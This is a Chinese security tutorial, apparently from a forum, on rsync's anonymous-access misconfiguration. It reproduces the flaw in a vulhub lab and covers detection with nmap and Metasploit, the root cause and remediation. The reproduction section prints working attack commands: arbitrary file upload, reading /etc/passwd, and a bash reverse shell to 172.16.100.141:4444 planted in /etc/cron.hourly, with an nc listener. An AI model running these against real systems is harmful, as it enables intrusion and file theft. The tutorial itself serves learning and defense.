一、Rsync简介
Rsync是Linux下一款数据备份工具,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。同时支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,而rsync默认是root权限,我们将可以读写目标服务器文件。
二、利用条件
rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。
三、搭建环境
使用vulhub项目 密码:0kga )来搭建复现环境,编译及运行rsync服务器:
docker-compose build
docker-compose up -d
(4) nmap扫描一下端口,看到873端口已开启,说明环境搭建完成。
四、漏洞复现
常用操作:
列出模块下的文件:
rsync rsync://127.0.0.1/src
任意文件上传:
rsync 1.txt rsync://192.168.122.1/src/home/
任意文件下载
rsync rsync://192.168.122.1/src/etc/passwd ./
通过写cron任务反弹shell
1、下载任务计划文件
rsync -av rsync://127.0.0.1/src/etc/crontab crontab.txt
2、查看任务计划文件
任务计划表示在每小时的第17分钟执行run-parts –report /etc/cron.hourly命令
17 * * * * root cd / && run-parts --report /etc/cron.hourly
3、构造shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/172.16.100.141/4444 0>&1
赋予执行权限
chmod +x shell
4、把shell上传至/etc/cron.hourly
rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly
5、本地监听4444端口,等待计划任务执行后反弹shell成功
nc -nvv -lp 4444
此外如果目标有Web服务的话,可以直接写WebShell,或者可以通过写ssh公钥实现获取权限。
五、漏洞探测
关于rsync漏洞扫描方式可以通过以下两种方式实现:
1、rsync扫描-Metasploit:
Metasploit中关于允许匿名访问的rsync扫描模块:
auxiliary/scanner/rsync/modules_list
2、rsync扫描-nmap:
nmap -p 873 --script rsync-list-modules 127.0.0.1
六、漏洞成因
rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。
首先查看一下rsync的配置文件
根据以下配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync。
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log
[src]
path = /
comment = src path
read only = no
七、修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置auth users ,将模块设置成只读。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
八、参考链接
https://www.jianshu.com/p/e73f7de1a0f6 https://hok1.github.io/2018/02/03/ https://github.com/vulhub/vulhub/tree/master/rsync/common https://blog.csdn.net/qq_36374896/article/details/84143428
请登录后查看回复内容